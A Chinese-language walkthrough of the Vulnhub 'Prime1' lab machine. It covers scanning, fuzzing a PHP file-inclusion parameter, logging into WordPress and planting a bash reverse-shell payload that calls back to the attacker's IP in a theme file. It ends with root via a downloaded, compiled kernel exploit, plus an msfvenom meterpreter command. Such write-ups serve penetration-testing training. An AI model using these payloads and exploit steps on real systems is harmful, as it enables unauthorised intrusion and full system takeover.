Prime1_解法一:cms渗透 & 内核漏洞提权
信息收集
主机发现
nmap扫描
tcp扫描
sudo nmap -sT --min-rate 10000 -oA tcpscan 192.168.236.134
sudo nmap -sT -sV -O --min-rate 10000 -p80,22 -oA tcpscan_detail 192.168.236.134
tcp详细扫描22,80端口
得到了openssh的版本号,apache的版本号,得知目标主机为一台linux
udp扫描
漏洞脚本扫描
唯一有用的提示是这里有一个wordpress的后台登陆页面,但这个目录爆破的过程应该也可以得到
目录爆破
dirsearch
sudo dirsearch -u "http://192.168.236.134"
得到这几个目录
/dev
/image.php
/wordpress/wp-login.php
/wordpress/
Web渗透
对信息收集的分析:
通过信息收集得到的信息,开放了22和80端口,目录爆破拿到了一些200的目录,那最感兴趣的就是先去看看一下80端口以及上面的各种目录有没有暴露给我们更多的信息
那就先访问ip:80端口只给了一张图片,查看源码也没有什么信息暴露出来
访问ip/dev ,给了这样一段文本
hello, now you are at level 0 stage. In real life pentesting we should use our tools to dig on a web very hard. Happy hacking.
大概意思就是你在level 0阶段,在真实的渗透中我们应该用我们的工具更努力地去挖web(信息/漏洞)
我们用目录爆破得到的/dev,只爆破了80端口的路由,还并没有爆破指定文件,如果指定txt,zip,php,等后缀可能会得到新的发现
sudo dirb http://192.168.236.134/ -X .zip,.php,.html,.txt
扫描结果
┌──(㉿kali)-[~/prime1] └─$ sudo dirb http://192.168.236.134/ -X .zip,.php,.html,.txt ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Fri Nov 29 16:51:48 2024 URL_BASE: http://192.168.236.134/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt EXTENSIONS_LIST: (.zip,.php,.html,.txt) | (.zip)(.php)(.html)(.txt) [NUM = 4] ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.236.134/ ---- + http://192.168.236.134/image.php (CODE:200|SIZE:147) + http://192.168.236.134/index.php (CODE:200|SIZE:136) + http://192.168.236.134/secret.txt (CODE:200|SIZE:412) ----------------- END_TIME: Fri Nov 29 16:51:59 2024 DOWNLOADED: 18448 - FOUND: 3
得到了
/image.php
/index.php
/secret.txt
新发现一个/secret.txt
不会用的时候就去看help 这是dirb的help
----------------- DIRB v2.22 By The Dark Raver dirb <url_base> [<wordlist_file(s)>] [options] ========================= NOTES ========================= <url_base> : Base URL to scan. (Use -resume for session resuming) <wordlist_file(s)> : List of wordfiles. (wordfile1,wordfile2,wordfile3...) ======================== HOTKEYS ======================== 'n' -> Go to next directory. 'q' -> Stop scan. (Saving state for resume) 'r' -> Remaining scan stats. ======================== OPTIONS ======================== -a <agent_string> : Specify your custom USER_AGENT. -b : Use path as is. -c <cookie_string> : Set a cookie for the HTTP request. -E <certificate> : path to the client certificate. -f : Fine tunning of NOT_FOUND (404) detection. -H <header_string> : Add a custom header to the HTTP request. -i : Use case-insensitive search. -l : Print "Location" header when found. -N <nf_code>: Ignore responses with this HTTP code. -o <output_file> : Save output to disk. -p <proxy[:port]> : Use this proxy. (Default port is 1080) -P <proxy_username:proxy_password> : Proxy Authentication. -r : Don't search recursively. -R : Interactive recursion. (Asks for each directory) -S : Silent Mode. Don't show tested words. (For dumb terminals) -t : Don't force an ending '/' on URLs. -u <username:password> : HTTP Authentication. -v : Show also NOT_FOUND pages. -w : Don't stop on WARNING messages. -X <extensions> / -x <exts_file> : Append each word with this extensions. -z <millisecs> : Add a milliseconds delay to not cause excessive Flood. ======================== EXAMPLES ======================= dirb http://url/directory/ (Simple Test) dirb http://url/ -X .html (Test files with '.html' extension) dirb http://url/ /usr/share/dirb/wordlists/vulns/apache.txt (Test with apache.txt wordlist) dirb https://secure_url/ (Simple Test with SSL)
访问/secret.txt
Looks like you have got some secrets. Ok I just want to do some help to you. Do some more fuzz on every page of php which was finded by you. And if you get any right parameter then follow the below steps. If you still stuck Learn from here a basic tool with good usage for OSCP. https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web //see the location.txt and you will get your next move//
大概就是给了一点tips,让我们尝试fuzz每一个php页面,并给了一个github的链接,是一个fuzz的教程,告诉我们,在得到新进展之后看看location.txt
COMMAND = wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 500 http://website-ip/index.php?FUZZ=something
wfuzz
我们有两个php文件,尝试fuzz
sudo wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.236.134/index.php?FUZZ=1
可以看到wfuzz尝试了很多参数,chars为136或者word为12w可以作为判断无意义参数的标指,我们将其过滤掉会更快速地帮助我们找到有意义的参数
加一个过滤器 sudo wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.236.134/index.php?FUZZ=1
chars为206,说明这个用参数可能会回显一些信息
curl访问一下,file随意get方式给个值或者不给都行
└─$ sudo curl http://192.168.236.134/index.php?file=1 <html> <title>HacknPentest</title> <body> <img src='hacknpentest.png' alt='hnp security' width="1300" height="595" /> </body> Do something better <br><br><br><br><br><br>you are digging wrong file</html>
告诉我们你挖错文件了,do something better,想起之前地location.txt 尝试将他给file
sudo curl http://192.168.236.134/index.php?file=location.txt <html> <title>HacknPentest</title> <body> <img src='hacknpentest.png' alt='hnp security' width="1300" height="595" /> </body> Do something better <br><br><br><br><br><br>ok well Now you reah at the exact parameter <br><br>Now dig some more for next one <br>use 'secrettier360' parameter on some other php page for more fun. </html>
让我们用这个参数secrettier360到其他的php页面
sudo curl http://192.168.236.134/image.php?secrettier360 <html> <title>HacknPentest</title> <body> <img src='hacknpentest.png' alt='hnp security' width="1300" height="595" /></p></p></p> </body>0 finaly you got the right parameter<br><br><br><br></html>
常见的 wfuzz 过滤器:
--hc
(HTTP Code filter)- 用于根据 HTTP 响应码过滤结果。
- 例如:
–hc 404
会过滤掉返回 404 状态码的响应。 - 示例:
wfuzz -c -z file,/path/to/wordlist.txt --hc 404 http://example.com/FUZZ
--hl
(Content Length filter)- 用于根据响应内容的长度过滤结果。
- 例如:
–hl 0
会过滤掉响应内容长度为 0 的结果。 - 示例:
wfuzz -c -z file,/path/to/wordlist.txt --hl 0 http://example.com/FUZZ
--hw
(Words in response filter)- 用于根据响应体中返回的单词数进行过滤。
- 例如:
–hw 10
会过滤掉响应体包含少于 10 个单词的结果。 - 示例:
wfuzz -c -z file,/path/to/wordlist.txt --hw 10 http://example.com/FUZZ
--hh
(Headers filter)- 用于根据 HTTP 响应头进行过滤。
- 例如:
–hh 'Content-Type'
可以过滤掉所有响应头中包含Content-Type
的结果。 - 示例:
wfuzz -c -z file,/path/to/wordlist.txt --hh 'Content-Type' http://example.com/FUZZ
--sc
(Status Code filter)- 用于根据响应的 HTTP 状态码范围过滤。
- 例如:
–sc 200-299
会仅显示响应状态码在 200 到 299 之间的结果。 - 示例:
wfuzz -c -z file,/path/to/wordlist.txt --sc 200-299 http://example.com/FUZZ
--sl
(Response Size filter)- 用于根据响应体的大小进行过滤。
- 例如:
–sl 100-500
会仅显示响应大小在 100 到 500 字节之间的结果。 - 示例:
wfuzz -c -z file,/path/to/wordlist.txt --sl 100-500 http://example.com/FUZZ
--sw
(String Words filter)- 用于根据响应中包含的特定字符串进行过滤。
- 例如:
–sw 'Not Found'
会过滤掉包含字符串Not Found
的响应。 - 示例:
wfuzz -c -z file,/path/to/wordlist.txt --sw 'error' http://example.com/FUZZ
--sh
(String Headers filter)- 用于根据 HTTP 响应头中包含的特定字符串进行过滤。
- 例如:
–sh 'X-Error'
会过滤掉响应头中包含X-Error
的结果。 - 示例:
wfuzz -c -z file,/path/to/wordlist.txt --sh 'X-Error' http://example.com/FUZZ
--ss
(String Search filter)- 用于根据响应体中的字符串进行过滤。
- 例如:
–ss 'flag'
会仅显示响应体中包含flag
字符串的结果。 - 示例:
wfuzz -c -z file,/path/to/wordlist.txt --ss 'flag' http://example.com/FUZZ
--hs
(Header Search filter)- 用于根据 HTTP 响应头中的特定字符串进行搜索过滤。
- 例如:
–hs 'Set-Cookie'
会仅显示响应头中包含Set-Cookie
字符串的结果。 - 示例:
wfuzz -c -z file,/path/to/wordlist.txt --hs 'Set-Cookie' http://example.com/FUZZ
获得wordpress后台权限
成功文件包含读取到/etc/passwd(../多打几个退到根目录,不限制的话多了../也没关系)
saket:x:1001:1001:find password.txt file in my directory:/home/saket:
通过提示得知这里有一个password.txt
follow_the_ippsec
结合对wordpress的信息收集,发现有一个victor用户,发表过文章,有可能是管理员,尝试使用这组凭据去/wp-login.php登录,成功进入后台
wordpress cms渗透
利用metasploit探测wordpress的cms版本为5.2.2
运行metasploit模块 sudo msfconsole 指定使用WordPress扫描模块 msf6 > use auxiliary/scanner/http/wordpress_scanner 设置SSL证书 msf6 auxiliary(scanner/http/wordpress_scanner) > set ssl true 设置目标端口 msf6 auxiliary(scanner/http/wordpress_scanner) > set rport 80 目标hosts msf6 auxiliary(scanner/http/wordpress_scanner) > set rhosts http://192.168.236.134/wordpress 运行 msf6 auxiliary(scanner/http/wordpress_scanner) > run
WordPress 侦察和枚举
针对wordpress的信息收集这里找了一篇github上的文章
apachecn-kali-zh/docs/handson-web-pentest-metasploit/08.md at master · apachecn/apachecn-kali-zh
在您开始利用 WordPress 的任何插件/主题/核心漏洞之前,第一步是确认该站点是否位于 WordPress 上。至于检测 WordPress 本身,检测 WordPress CMS 安装的方法有多种:
- 在 HTML 页面源中搜索
wp-content
字符串。 - 查找 WordPress 安装时返回的
/wp-trackback.php
或/wp-links-opml.php
文件名。 - 您也可以尝试
/wp-admin/admin-ajax.php
和/wp-login.php
。 - 查找静态文件,如
readme.html
和/wp-includes/js/colorpicker.js
。
一旦确认站点正在 WordPress 上运行,下一步就是要知道目标服务器上运行的是哪个版本的 WordPress。要实现这一点,您需要知道检测其版本号的不同方法。为什么是版本号?因为基于目标服务器上安装的 WordPress 版本,您可以测试基于插件或 WordPress 核心的漏洞利用,这些漏洞可能公开,也可能不公开。
版本检测
每个 WordPress 安装都有一个版本号。在最新的 WordPress 版本中,默认情况下隐藏了版本号,但我们仍然可以枚举版本。在本节中,您将学习一些识别正在运行哪个版本的 WordPress 的方法。
最常见的侦察技术有Readme.html
、元生成器、提要(RDF、Atom 和 RSS)、插件和主题(JS 和 CSS 版本)以及散列匹配。
自述文件
这是最简单的技巧。我们所要做的就是访问readme.html
页面,它在中间披露了版本号。该文件的最初目的是向 CMS 的首次用户提供有关如何继续安装和使用 WordPress 的信息。安装和设置完成后,应将其删除。使用任何工具(包括 Metasploit)时,在执行任何类型的攻击之前,请始终检查 WordPress 安装的版本号。
所以,确保您知道要测试的版本。您可以在以下屏幕截图中看到readme.html
的示例:
接下来,我们将研究元生成器。
元生成器
具有generator
名称属性的元标记通常被描述为用于生成文档/网页的软件。确切的版本号在 meta 标签的content
属性中公开。基于 WordPress 的网站通常在其源代码中有此标记,如以下屏幕截图所示:
接下来,我们将看到如何通过 JavaScript 和 CSS 文件获得该版本。
通过 JavaScript 和 CSS 文件获取版本
另一种查找版本号的方法是查看以下文件的源代码。以下文件请求 JS 和 CSS 文件:
wp-admin/install.php
wp-admin/upgrade.php
wp-login.php
它们在其ver
参数中披露了确切的版本号,如以下屏幕截图所示:
接下来,我们将看到如何通过提要获取版本。
通过提要获取版本
有时,版本信息也可能在网站的提要中披露。以下文件路径可用于披露版本信息:
/index.php/feed/
/index.php/feed/rss/
/index.php/feed/rss2/
/index.php/comments/feed/
/index.php/feed/rdf/
(文件在本地下载)/index.php/feed/atom/
/?feed=atom
/?feed=rss
/?feed=rss2
/?feed=rdf
以下屏幕截图显示了通过提要披露的版本:
接下来,我们将研究 OPML。
使用大纲处理器标记语言(OPML)
OPML 是用于大纲的 XML 格式(定义为树,其中每个节点包含一组具有字符串值的命名属性)。以下文件允许 WordPress 从其他网站导入链接,只要它们是 OPML 格式,但访问此文件也会披露版本信息(在 HTML 注释标记之间),如以下屏幕截图所示:
/wp-links-opml.php
这可以在以下屏幕截图中看到:
反弹shell
在Appearance的Theme Editor模块中找到了secret.php,说你终于找到了一个可写的文件
写入一句话木马
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.236.128/443 0>&1'"); ?>
kali另起一个nc监听443端口,复现的时候记得把我的kali ip换成自己的
因此我们要访问的路径就是/themes/twentynineteen/secret.php,至于/themes前面的路径是啥,应该是wordpress主题的固定路径,也就是/wordpress/wp-content,这个可以在互联网上搜索到wordpress的主题编辑页面的路径。因此完整的路径是:
http://靶机ip/wordpress/wp-content/themes/twentynineteen/secret.php
在红队笔记大佬的视频中,直接访问了上面这链接触发了secret.php代码执行,对这个url的来历并没有详细说明,我觉得还是需要阐释一下的。主要还是源于wordpress这个cms非常著名,可以很容易地在互联网上搜索到其内部各个模块的路径。访问这个路径之后,我们在secret.php中的payload就得以执行了
成功反弹shell
内核漏洞提权:Ubuntu 16.04 及 Fedora 27 等系统上存在的本地提权漏洞
信息收集
现在拿到了一个系统立足点,想要提权第一步还是得先做好信息收集。
www-data@ubuntu:/$ whoami whoami www-data www-data@ubuntu:/$ uname -a uname -a Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux www-data@ubuntu:/$ sudo -l sudo -l Matching Defaults entries for www-data on ubuntu: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin User www-data may run the following commands on ubuntu: (root) NOPASSWD: /home/saket/enc
通过上面两条命令知道该用户为www-data,权限比较低,能看到系统的版本为ubuntu4.10.0-28,还看到一个可以不需要password就能执行的/home/saket/enc,但没有查看和写入权限,实际尝试执行还是要求输入密码。
尝试自动任务cron.d
再翻一下目录,找一下一些关键的文件能不能带来一些突破口,比如自动任务
这里翻到一个php,仔细看一下
www-data@ubuntu:/etc/cron.d$ cat /etc/cron.d/php cat /etc/cron.d/php # /etc/cron.d/php@PHP_VERSION@: crontab fragment for PHP # This purges session files in session.save_path older than X, # where X is defined in seconds as the largest value of # session.gc_maxlifetime from all your SAPI php.ini files # or 24 minutes if not defined. The script triggers only # when session.save_handler=files. # # WARNING: The scripts tries hard to honour all relevant # session PHP options, but if you do something unusual # you have to disable this script and take care of your # sessions yourself. # Look for and purge old sessions every 30 minutes 09,39 * * * * root [ -x /usr/lib/php/sessionclean ] && /usr/lib/php/sessionclean
-x
会检查后面跟的文件是否存在并有执行权限,那就去看看
www-data@ubuntu:/usr/lib/php$ cat sessionclean cat sessionclean #!/bin/sh -e # # sessionclean - a script to cleanup stale PHP sessions # # Copyright 2013-2015 Ondřej Surý <ondrej@sury.org> # # Permission is hereby granted, free of charge, to any person obtaining a copy of # this software and associated documentation files (the "Software"), to deal in # the Software without restriction, including without limitation the rights to # use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of # the Software, and to permit persons to whom the Software is furnished to do so, # subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS # FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR # COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER # IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN # CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. SAPIS="apache2:apache2napache2filter:apache2ncgi:php@VERSION@nfpm:php@VERSION@-fpmncli:php@VERSION@n" # Iterate through all web SAPIs ( for version in $(/usr/sbin/phpquery -V); do proc_names="" printf "$SAPIS" | while IFS=: read -r conf_dir proc_name; do if [ -e /etc/php/${version}/${conf_dir}/php.ini ]; then # Get all session variables once so we don't need to start PHP to get each config option session_config=$(PHP_INI_SCAN_DIR=/etc/php/${version}/${conf_dir}/conf.d/ php${version} -c /etc/php/${version}/${conf_dir}/php.ini -d "error_reporting='~E_ALL'" -r 'foreach(ini_get_all("session") as $k => $v) echo "$k=".$v["local_value"]."n";') save_handler=$(echo "$session_config" | sed -ne 's/^session.save_handler=(.*)$/1/p') save_path=$(echo "$session_config" | sed -ne 's/^session.save_path=(.*;)?(.*)$/2/p') gc_maxlifetime=$(($(echo "$session_config" | sed -ne 's/^session.gc_maxlifetime=(.*)$/1/p')/60)) if [ "$save_handler" = "files" -a -d "$save_path" ]; then proc_names="$proc_names $(echo "$proc_name" | sed -e "s,@VERSION@,$version,")"; printf "%s:%sn" "$save_path" "$gc_maxlifetime" fi fi done done # first find all open session files and touch them (hope it's not massive amount of files) for pid in $(pidof $proc_names); do find "/proc/$pid/fd" -ignore_readdir_race -lname "$save_path/sess_*" -exec touch -c {} ; done ) | sort -rn -t: -k2,2 | sort -u -t: -k 1,1 | while IFS=: read -r save_path gc_maxlifetime; do # find all files older then maxlifetime and delete them find -O3 "$save_path/" -depth -ignore_readdir_race -mindepth 1 -name 'sess_*' -type f -cmin "+$gc_maxlifetime" -delete done exit 0
尝试用msfvenom生成php的payload 这个太长就不展示了
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.236.128 LPORT=444 -f raw
但是搞完才发现php根本没有写入权限
264166 -rw-r--r-- 1 root root 670 Jun 22 2017 php
第一个字符-表示这是一个普通文件(如果是目录会显示为d)。接下来的三个字符rw-表示文件所有者(这里是root用户)有读和写的权限。中间的三个字符r--表示文件所属组(这里是root组)只有读的权限。最后的三个字符r--表示其他用户也只有读的权限。
searchsploit查找对应版本内核漏洞
kali上用searchsploit漏洞库搜索对应版本的漏洞
┌──(observer㉿kali)-[~] └─$ searchsploit linux ubuntu 4.10.0-28 ---------------------------------------------------------- --------------------------------- Exploit Title | Path ---------------------------------------------------------- --------------------------------- Linux Kernel 4.10.5 / < 4.14.3 (Ubuntu) - DCCP Socket Use | linux/dos/43234.c Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local | linux/local/45010.c Ubuntu < 15.10 - PT Chown Arbitrary PTs Access Via User N | linux/local/41760.txt ---------------------------------------------------------- --------------------------------- Shellcodes: No Results
sudo searchsploit -m 45010.c 把利用c语言脚本下载下来,后续利用需要用gcc去编译
那么想要把这个利用脚本传到靶机上,这里利用:kali开简易web服务,靶机上用wget获取kali服务上的.c
但是普通的目录权限太低,尝试过后发现wget下载不了
这里用到了一个不起眼但是很有用的/tmp目录,参考Linux中最低调、最易让人忽视的tmp目录,原来用处那么大!-腾讯云开发者社区-腾讯云
在Linux操作系统中,tmp目录是一个临时目录,用于存储临时文件。这个目录通常位于根目录下,命名为/tmp。本文将详细介绍Linux中的tmp目录,包括它的作用、权限、使用方法和安全性等方面。
作用
tmp目录用于存储临时文件,这些文件通常是由操作系统或应用程序创建的。这些文件可以是日志文件、临时缓存文件、程序临时文件、打印队列文件等。它们在使用后很快就会被删除,因此/tmp目录通常保持相对较小的大小。
权限
在Linux中,tmp目录的权限通常设置为777(rwxrwxrwx),这意味着任何用户都可以访问和修改该目录中的文件。这是为了方便临时文件的创建和删除。然而,由于/tmp目录通常包含敏感信息,因此一些系统管理员可能会更改其权限以提高安全性。
使用方法
/tmp目录在Linux中被广泛使用。下面是/tmp目录的几个主要用途:
- 缓存
/tmp目录通常用于存储临时缓存文件,这些文件可以加速某些操作。例如,浏览器会将下载的文件保存到/tmp目录中,以便更快地访问这些文件。
- 打印队列
打印服务通常会将打印任务存储在/tmp目录中。这些文件在打印完成后会自动删除。
- 应用程序临时文件
某些应用程序需要在运行期间创建临时文件。例如,视频编辑器需要创建临时文件以存储正在编辑的视频文件。
- 日志文件
某些程序会将日志文件保存在/tmp目录中。这些日志文件通常包含程序运行期间的信息,例如错误消息或调试信息。
- 其他
/tmp目录还可用于其他临时文件的存储,例如备份文件、邮件附件等。
安全性
尽管/tmp目录通常是一个临时目录,但它也可能包含一些敏感信息,例如密码文件或其他保密数据。因此,在使用/tmp目录时需要注意安全问题。下面是一些有关使用/tmp目录的安全建议:
- 避免在/tmp目录中存储敏感信息
尽管/tmp目录通常会自动清理,但为了确保安全,最好避免在其中存储敏感信息。如果必须存储敏感信息,则应考虑将文件加密或将其存储在其他地方。
- 定期清理/tmp目录
为了保证安全,建议定期清理/tmp目录。这可以防止/tmp目录被填满,从而导致系统崩溃或无法正常工作。
- 限制/tmp目录的权限
由于/tmp目录通常包含敏感信息,一些系统管理员可能会限制其访问权限,以提高安全性。这可以通过更改目录权限或使用安全模块(如SELinux)来实现。
- 避免使用/tmp目录作为共享目录
/tmp目录通常是一个临时目录,不应用于共享目录。如果必须在多个计算机之间共享文件,则应使用其他共享目录,例如NFS共享目录或Samba共享目录。
- 防止/tmp目录成为攻击者的入口
/tmp目录可能成为攻击者攻击系统的入口。攻击者可能通过/tmp目录中的漏洞来执行恶意代码,因此需要采取一些措施来保护/tmp目录的安全。这可以通过升级系统补丁、安装防病毒软件或使用安全模块等方式实现。
结论
在Linux中,tmp目录是一个重要的临时目录,用于存储临时文件。尽管/tmp目录通常自动清理,但在使用时需要注意安全问题。为了确保安全,建议避免在其中存储敏感信息,定期清理/tmp目录,并限制其访问权限。此外,还应采取一些措施来防止/tmp目录成为攻击者的入口。通过这些措施,可以确保/tmp目录在系统中的安全使用。
那就看一下/tmp的权限
drwxrwxrwt 12 root root 4096 Dec 3 05:00 /tmp
d:表示这是一个目录。rwx:文件所有者(root)有读、写和执行权限。rwx:文件所属组(root)有读、写和执行权限。rwt:其他用户有读、写和执行权限,但加上了粘滞位 t。意味着即使目录对所有用户都是可写的,只有文件的所有者和超级用户(root)才能删除或重命名该目录中的文件。那就cd到/tmp里去sudo searchsploit -m 45010.c
这里提一下,按理来说,现在攻击机kali上先把.c编译好了再传进去会更方便,以防止靶机上没有编译环境或编译失败,但是exe更容易被杀软 or waf拦,所以这里选择直接传.c进去,再编译(看到别的博主传exe失败 我没去试)
kali上开一个简易的web服务器,指定本地80端口,-S参数用于启动内置的web服务器,后接参数指定ip和port
sudo php -S 0.0.0.0:80
在靶机上使用wget去下载我们的payload源代码,如果这个地方被防火墙or杀软拦了,可以尝试别的方式,比如用curl,certutil,或者用c#写一个简单的下载器,然后在靶机上自己用net 3.5 框架编译,还有一种是看红笔大佬打htb apt的时候学到的,利用靶机里的工具靠山吃山,利用了MpcmdRun.exe,!
回显:
www-data@ubuntu:/tmp$ wget http://192.168.236.128/45010.c wget http://192.168.236.128/45010.c --2024-12-03 18:33:51-- http://192.168.236.128/45010.c Connecting to 192.168.236.128:80... connected. HTTP request sent, awaiting response... 200 OK Length: 13176 (13K) [text/x-c] Saving to: '45010.c' 0K .......... .. 100% 13.9M=0.001s 2024-12-03 18:33:51 (13.9 MB/s) - '45010.c' saved [13176/13176]
下载成功后,用gcc去编译这个c源码
gcc 45010.c -o 45010
运行程序,成功提权
./45010
还可以用python提升一下交互性
查询是否有python
dpkg -l | grep python
python -c 'import pty;pty.spawn("/bin/bash")'
flag:
root@ubuntu:/root# cat root.txt cat root.txt b2b17036da1de94cfb024540a8e7075a root@ubuntu:/root# cat key.txt cat key.txt I know you are the fan of ippsec. So convert string "ippsec" into md5 hash and use it to gain yourself in your real form.
至此成功打通prime1.1 完结撒花
参考博客
Vulnhub靶机实操笔记-Prime1-解法二 - FreeBuf网络安全行业门户